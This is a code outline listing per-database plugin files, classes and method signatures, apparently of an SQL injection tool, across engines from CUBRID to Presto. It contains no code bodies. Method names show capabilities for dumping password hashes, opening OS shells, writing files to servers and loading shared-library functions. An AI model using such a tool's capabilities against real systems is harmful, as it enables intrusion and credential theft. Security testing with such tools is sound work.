method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getStatements (line 18) | def getStatements(self):
method getRoles (line 24) | def getRoles(self, *args, **kwargs):
method getHostname (line 30) | def getHostname(self):
FILE: plugins/dbms/cubrid/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/cubrid/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/cubrid/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/cubrid/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/db2/__init__.py
class DB2Map (line 19) | class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/db2/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 41) | def fetchall(self):
method execute (line 48) | def execute(self, query):
method select (line 58) | def select(self, query):
FILE: plugins/dbms/db2/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getStatements (line 18) | def getStatements(self):
FILE: plugins/dbms/db2/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/db2/fingerprint.py
class Fingerprint (line 21) | class Fingerprint(GenericFingerprint):
method __init__ (line 22) | def __init__(self):
method _versionCheck (line 25) | def _versionCheck(self):
method getFingerprint (line 48) | def getFingerprint(self):
method checkDbms (line 85) | def checkDbms(self):
method checkDbmsOs (line 122) | def checkDbmsOs(self, detailed=False):
FILE: plugins/dbms/db2/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/db2/takeover.py
class Takeover (line 10) | class Takeover(GenericTakeover):
method __init__ (line 11) | def __init__(self):
FILE: plugins/dbms/derby/__init__.py
class DerbyMap (line 19) | class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneo...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/derby/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 40) | def fetchall(self):
method execute (line 47) | def execute(self, query):
method select (line 60) | def select(self, query):
FILE: plugins/dbms/derby/enumeration.py
class Enumeration (line 12) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 13) | def getPasswordHashes(self):
method getStatements (line 19) | def getStatements(self):
method getPrivileges (line 25) | def getPrivileges(self, *args, **kwargs):
method getRoles (line 31) | def getRoles(self, *args, **kwargs):
method getHostname (line 37) | def getHostname(self):
method getBanner (line 41) | def getBanner(self):
FILE: plugins/dbms/derby/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/derby/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/derby/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/derby/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/extremedb/__init__.py
class ExtremeDBMap (line 18) | class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscell...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/extremedb/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/extremedb/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getBanner (line 12) | def getBanner(self):
method getCurrentUser (line 18) | def getCurrentUser(self):
method getCurrentDb (line 22) | def getCurrentDb(self):
method isDba (line 26) | def isDba(self, user=None):
method getUsers (line 30) | def getUsers(self):
method getPasswordHashes (line 36) | def getPasswordHashes(self):
method getPrivileges (line 42) | def getPrivileges(self, *args, **kwargs):
method getDbs (line 48) | def getDbs(self):
method searchDb (line 54) | def searchDb(self):
method searchTable (line 60) | def searchTable(self):
method searchColumn (line 66) | def searchColumn(self):
method search (line 72) | def search(self):
method getHostname (line 76) | def getHostname(self):
method getStatements (line 80) | def getStatements(self):
FILE: plugins/dbms/extremedb/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/extremedb/fingerprint.py
class Fingerprint (line 20) | class Fingerprint(GenericFingerprint):
method __init__ (line 21) | def __init__(self):
method getFingerprint (line 24) | def getFingerprint(self):
method checkDbms (line 61) | def checkDbms(self):
method forceDbmsEnum (line 92) | def forceDbmsEnum(self):
FILE: plugins/dbms/extremedb/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/extremedb/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/firebird/__init__.py
class FirebirdMap (line 18) | class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscella...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/firebird/connector.py
class Connector (line 22) | class Connector(GenericConnector):
method connect (line 33) | def connect(self):
method fetchall (line 48) | def fetchall(self):
method execute (line 55) | def execute(self, query):
method select (line 65) | def select(self, query):
FILE: plugins/dbms/firebird/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getDbs (line 12) | def getDbs(self):
method getPasswordHashes (line 18) | def getPasswordHashes(self):
method searchDb (line 24) | def searchDb(self):
method getHostname (line 30) | def getHostname(self):
method getStatements (line 34) | def getStatements(self):
FILE: plugins/dbms/firebird/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/firebird/fingerprint.py
class Fingerprint (line 26) | class Fingerprint(GenericFingerprint):
method __init__ (line 27) | def __init__(self):
method getFingerprint (line 30) | def getFingerprint(self):
method _sysTablesCheck (line 71) | def _sysTablesCheck(self):
method _dialectCheck (line 99) | def _dialectCheck(self):
method checkDbms (line 108) | def checkDbms(self):
method forceDbmsEnum (line 153) | def forceDbmsEnum(self):
FILE: plugins/dbms/firebird/syntax.py
class Syntax (line 12) | class Syntax(GenericSyntax):
method escape (line 14) | def escape(expression, quote=True):
FILE: plugins/dbms/firebird/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/frontbase/__init__.py
class FrontBaseMap (line 18) | class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscell...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/frontbase/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/frontbase/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getBanner (line 12) | def getBanner(self):
method getPrivileges (line 18) | def getPrivileges(self, *args, **kwargs):
method getHostname (line 24) | def getHostname(self):
method getStatements (line 28) | def getStatements(self):
FILE: plugins/dbms/frontbase/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/frontbase/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/frontbase/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/frontbase/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/h2/__init__.py
class H2Map (line 18) | class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous,...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/h2/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/h2/enumeration.py
class Enumeration (line 18) | class Enumeration(GenericEnumeration):
method getBanner (line 19) | def getBanner(self):
method getPrivileges (line 32) | def getPrivileges(self, *args, **kwargs):
method getHostname (line 38) | def getHostname(self):
method getCurrentDb (line 42) | def getCurrentDb(self):
method getPasswordHashes (line 45) | def getPasswordHashes(self):
method getStatements (line 51) | def getStatements(self):
FILE: plugins/dbms/h2/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/h2/fingerprint.py
class Fingerprint (line 23) | class Fingerprint(GenericFingerprint):
method __init__ (line 24) | def __init__(self):
method getFingerprint (line 27) | def getFingerprint(self):
method checkDbms (line 79) | def checkDbms(self):
method getHostname (line 119) | def getHostname(self):
FILE: plugins/dbms/h2/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/h2/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/hsqldb/__init__.py
class HSQLDBMap (line 18) | class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellane...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/hsqldb/connector.py
class Connector (line 24) | class Connector(GenericConnector):
method connect (line 33) | def connect(self):
method fetchall (line 55) | def fetchall(self):
method execute (line 62) | def execute(self, query):
method select (line 75) | def select(self, query):
FILE: plugins/dbms/hsqldb/enumeration.py
class Enumeration (line 18) | class Enumeration(GenericEnumeration):
method getBanner (line 19) | def getBanner(self):
method getPrivileges (line 32) | def getPrivileges(self, *args, **kwargs):
method getHostname (line 38) | def getHostname(self):
method getCurrentDb (line 42) | def getCurrentDb(self):
method getStatements (line 45) | def getStatements(self):
FILE: plugins/dbms/hsqldb/filesystem.py
class Filesystem (line 17) | class Filesystem(GenericFilesystem):
method readFile (line 18) | def readFile(self, remoteFile):
method stackedWriteFile (line 23) | def stackedWriteFile(self, localFile, remoteFile, fileType=None, force...
FILE: plugins/dbms/hsqldb/fingerprint.py
class Fingerprint (line 22) | class Fingerprint(GenericFingerprint):
method __init__ (line 23) | def __init__(self):
method getFingerprint (line 26) | def getFingerprint(self):
method checkDbms (line 66) | def checkDbms(self):
method getHostname (line 144) | def getHostname(self):
method checkDbmsOs (line 148) | def checkDbmsOs(self, detailed=False):
FILE: plugins/dbms/hsqldb/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/hsqldb/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/informix/__init__.py
class InformixMap (line 19) | class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscella...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/informix/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 41) | def fetchall(self):
method execute (line 48) | def execute(self, query):
method select (line 58) | def select(self, query):
FILE: plugins/dbms/informix/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method searchDb (line 12) | def searchDb(self):
method searchTable (line 18) | def searchTable(self):
method searchColumn (line 24) | def searchColumn(self):
method search (line 30) | def search(self):
method getStatements (line 34) | def getStatements(self):
FILE: plugins/dbms/informix/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/informix/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/informix/syntax.py
class Syntax (line 15) | class Syntax(GenericSyntax):
method escape (line 17) | def escape(expression, quote=True):
FILE: plugins/dbms/informix/takeover.py
class Takeover (line 10) | class Takeover(GenericTakeover):
method __init__ (line 11) | def __init__(self):
FILE: plugins/dbms/maxdb/__init__.py
class MaxDBMap (line 18) | class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneo...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/maxdb/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/maxdb/enumeration.py
class Enumeration (line 32) | class Enumeration(GenericEnumeration):
method __init__ (line 33) | def __init__(self):
method getPasswordHashes (line 38) | def getPasswordHashes(self):
method getDbs (line 44) | def getDbs(self):
method getTables (line 63) | def getTables(self, bruteForce=None):
method getColumns (line 103) | def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=Non...
method getPrivileges (line 227) | def getPrivileges(self, *args, **kwargs):
method search (line 233) | def search(self):
method getHostname (line 237) | def getHostname(self):
method getStatements (line 241) | def getStatements(self):
FILE: plugins/dbms/maxdb/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/maxdb/fingerprint.py
class Fingerprint (line 22) | class Fingerprint(GenericFingerprint):
method __init__ (line 23) | def __init__(self):
method _versionCheck (line 26) | def _versionCheck(self):
method getFingerprint (line 60) | def getFingerprint(self):
method checkDbms (line 94) | def checkDbms(self):
method forceDbmsEnum (line 130) | def forceDbmsEnum(self):
FILE: plugins/dbms/maxdb/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/maxdb/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/mckoi/__init__.py
class MckoiMap (line 18) | class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneo...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/mckoi/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/mckoi/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getBanner (line 12) | def getBanner(self):
method getCurrentUser (line 18) | def getCurrentUser(self):
method getCurrentDb (line 22) | def getCurrentDb(self):
method isDba (line 26) | def isDba(self, user=None):
method getUsers (line 30) | def getUsers(self):
method getPasswordHashes (line 36) | def getPasswordHashes(self):
method getPrivileges (line 42) | def getPrivileges(self, *args, **kwargs):
method getDbs (line 48) | def getDbs(self):
method searchDb (line 54) | def searchDb(self):
method searchTable (line 60) | def searchTable(self):
method searchColumn (line 66) | def searchColumn(self):
method search (line 72) | def search(self):
method getHostname (line 76) | def getHostname(self):
method getStatements (line 80) | def getStatements(self):
FILE: plugins/dbms/mckoi/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/mckoi/fingerprint.py
class Fingerprint (line 20) | class Fingerprint(GenericFingerprint):
method __init__ (line 21) | def __init__(self):
method getFingerprint (line 24) | def getFingerprint(self):
method checkDbms (line 61) | def checkDbms(self):
method forceDbmsEnum (line 92) | def forceDbmsEnum(self):
FILE: plugins/dbms/mckoi/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/mckoi/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/mimersql/__init__.py
class MimerSQLMap (line 19) | class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscella...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/mimersql/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 40) | def fetchall(self):
method execute (line 47) | def execute(self, query):
method select (line 57) | def select(self, query):
FILE: plugins/dbms/mimersql/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getStatements (line 18) | def getStatements(self):
method getRoles (line 24) | def getRoles(self, *args, **kwargs):
method getHostname (line 30) | def getHostname(self):
FILE: plugins/dbms/mimersql/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/mimersql/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/mimersql/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/mimersql/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/monetdb/__init__.py
class MonetDBMap (line 19) | class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellan...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/monetdb/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 40) | def fetchall(self):
method execute (line 47) | def execute(self, query):
method select (line 57) | def select(self, query):
FILE: plugins/dbms/monetdb/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getStatements (line 18) | def getStatements(self):
method getPrivileges (line 24) | def getPrivileges(self, *args, **kwargs):
method getRoles (line 30) | def getRoles(self, *args, **kwargs):
method getHostname (line 36) | def getHostname(self):
FILE: plugins/dbms/monetdb/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/monetdb/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/monetdb/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/monetdb/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/mssqlserver/__init__.py
class MSSQLServerMap (line 18) | class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Misce...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/mssqlserver/connector.py
class Connector (line 23) | class Connector(GenericConnector):
method connect (line 37) | def connect(self):
method fetchall (line 50) | def fetchall(self):
method execute (line 57) | def execute(self, query):
method select (line 70) | def select(self, query):
FILE: plugins/dbms/mssqlserver/enumeration.py
class Enumeration (line 37) | class Enumeration(GenericEnumeration):
method getPrivileges (line 38) | def getPrivileges(self, *args, **kwargs):
method getTables (line 69) | def getTables(self):
method searchTable (line 173) | def searchTable(self):
method searchColumn (line 278) | def searchColumn(self):
FILE: plugins/dbms/mssqlserver/filesystem.py
class Filesystem (line 34) | class Filesystem(GenericFilesystem):
method _dataToScr (line 35) | def _dataToScr(self, fileContent, chunkName):
method _updateDestChunk (line 66) | def _updateDestChunk(self, fileContent, tmpPath):
method stackedReadFile (line 87) | def stackedReadFile(self, remoteFile):
method unionWriteFile (line 167) | def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=F...
method _stackedWriteFilePS (line 172) | def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, f...
method _stackedWriteFileDebugExe (line 211) | def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileConte...
method _stackedWriteFileVbs (line 273) | def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, ...
method _stackedWriteFileCertutilExe (line 358) | def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileCo...
method stackedWriteFile (line 386) | def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck...
FILE: plugins/dbms/mssqlserver/fingerprint.py
class Fingerprint (line 21) | class Fingerprint(GenericFingerprint):
method __init__ (line 22) | def __init__(self):
method getFingerprint (line 25) | def getFingerprint(self):
method checkDbms (line 67) | def checkDbms(self):
method checkDbmsOs (line 126) | def checkDbmsOs(self, detailed=False):
FILE: plugins/dbms/mssqlserver/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/mssqlserver/takeover.py
class Takeover (line 18) | class Takeover(GenericTakeover):
method __init__ (line 19) | def __init__(self):
method uncPathRequest (line 24) | def uncPathRequest(self):
method spHeapOverflow (line 28) | def spHeapOverflow(self):
FILE: plugins/dbms/mysql/__init__.py
class MySQLMap (line 18) | class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneo...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/mysql/connector.py
class Connector (line 23) | class Connector(GenericConnector):
method connect (line 33) | def connect(self):
method fetchall (line 44) | def fetchall(self):
method execute (line 51) | def execute(self, query):
method select (line 66) | def select(self, query):
FILE: plugins/dbms/mysql/enumeration.py
class Enumeration (line 10) | class Enumeration(GenericEnumeration):
FILE: plugins/dbms/mysql/filesystem.py
class Filesystem (line 32) | class Filesystem(GenericFilesystem):
method nonStackedReadFile (line 33) | def nonStackedReadFile(self, rFile):
method stackedReadFile (line 42) | def stackedReadFile(self, remoteFile):
method unionWriteFile (line 91) | def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=F...
method linesTerminatedWriteFile (line 120) | def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, fo...
method stackedWriteFile (line 148) | def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck...
FILE: plugins/dbms/mysql/fingerprint.py
class Fingerprint (line 28) | class Fingerprint(GenericFingerprint):
method __init__ (line 29) | def __init__(self):
method _commentCheck (line 32) | def _commentCheck(self):
method getFingerprint (line 95) | def getFingerprint(self):
method checkDbms (line 167) | def checkDbms(self):
method checkDbmsOs (line 322) | def checkDbmsOs(self, detailed=False):
FILE: plugins/dbms/mysql/syntax.py
class Syntax (line 15) | class Syntax(GenericSyntax):
method escape (line 17) | def escape(expression, quote=True):
FILE: plugins/dbms/mysql/takeover.py
class Takeover (line 28) | class Takeover(GenericTakeover):
method __init__ (line 29) | def __init__(self):
method udfSetRemotePath (line 36) | def udfSetRemotePath(self):
method udfSetLocalPaths (line 85) | def udfSetLocalPaths(self):
method udfCreateFromSharedLib (line 98) | def udfCreateFromSharedLib(self, udf, inpRet):
method uncPathRequest (line 112) | def uncPathRequest(self):
FILE: plugins/dbms/oracle/__init__.py
class OracleMap (line 18) | class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellane...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/oracle/connector.py
class Connector (line 25) | class Connector(GenericConnector):
method connect (line 32) | def connect(self):
method fetchall (line 52) | def fetchall(self):
method execute (line 59) | def execute(self, query):
method select (line 71) | def select(self, query):
FILE: plugins/dbms/oracle/enumeration.py
class Enumeration (line 28) | class Enumeration(GenericEnumeration):
method getRoles (line 29) | def getRoles(self, query2=False):
FILE: plugins/dbms/oracle/filesystem.py
class Filesystem (line 22) | class Filesystem(GenericFilesystem):
method readFile (line 23) | def readFile(self, remoteFile):
method writeFile (line 56) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/oracle/fingerprint.py
class Fingerprint (line 25) | class Fingerprint(GenericFingerprint):
method __init__ (line 26) | def __init__(self):
method getFingerprint (line 29) | def getFingerprint(self):
method checkDbms (line 81) | def checkDbms(self):
method forceDbmsEnum (line 142) | def forceDbmsEnum(self):
FILE: plugins/dbms/oracle/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/oracle/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 17) | def osShell(self):
method osPwn (line 22) | def osPwn(self):
method osSmb (line 27) | def osSmb(self):
FILE: plugins/dbms/postgresql/__init__.py
class PostgreSQLMap (line 18) | class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscel...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/postgresql/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 32) | def connect(self):
method fetchall (line 45) | def fetchall(self):
method execute (line 52) | def execute(self, query):
method select (line 67) | def select(self, query):
FILE: plugins/dbms/postgresql/enumeration.py
class Enumeration (line 12) | class Enumeration(GenericEnumeration):
method getHostname (line 13) | def getHostname(self):
FILE: plugins/dbms/postgresql/filesystem.py
class Filesystem (line 19) | class Filesystem(GenericFilesystem):
method __init__ (line 20) | def __init__(self):
method stackedReadFile (line 26) | def stackedReadFile(self, remoteFile):
method unionWriteFile (line 35) | def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCh...
method stackedWriteFile (line 40) | def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck...
FILE: plugins/dbms/postgresql/fingerprint.py
class Fingerprint (line 24) | class Fingerprint(GenericFingerprint):
method __init__ (line 25) | def __init__(self):
method getFingerprint (line 28) | def getFingerprint(self):
method checkDbms (line 94) | def checkDbms(self):
method checkDbmsOs (line 204) | def checkDbmsOs(self, detailed=False):
FILE: plugins/dbms/postgresql/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/postgresql/takeover.py
class Takeover (line 29) | class Takeover(GenericTakeover):
method udfSetRemotePath (line 30) | def udfSetRemotePath(self):
method udfSetLocalPaths (line 46) | def udfSetLocalPaths(self):
method udfCreateFromSharedLib (line 80) | def udfCreateFromSharedLib(self, udf, inpRet):
method uncPathRequest (line 95) | def uncPathRequest(self):
method copyExecCmd (line 100) | def copyExecCmd(self, cmd):
method checkCopyExec (line 125) | def checkCopyExec(self):
FILE: plugins/dbms/presto/__init__.py
class PrestoMap (line 19) | class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellane...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/presto/connector.py
class Connector (line 22) | class Connector(GenericConnector):
method connect (line 31) | def connect(self):
method fetchall (line 42) | def fetchall(self):
method execute (line 49) | def execute(self, query):
method select (line 64) | def select(self, query):
FILE: plugins/dbms/presto/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getBanner (line 12) | def getBanner(self):
method getCurrentDb (line 18) | def getCurrentDb(self):
method isDba (line 22) | def isDba(self, user=None):
method getUsers (line 26) | def getUsers(self):
method getPasswordHashes (line 32) | def getPasswordHashes(self):
method getPrivileges (line 38) | def getPrivileges(self, *args, **kwargs):
method getRoles (line 44) | def getRoles(self, *args, **kwargs):
method getHostname (line 50) | def getHostname(self):
method getStatements (line 54) | def getStatements(self):
FILE: plugins/dbms/presto/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/presto/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/presto/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/presto/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
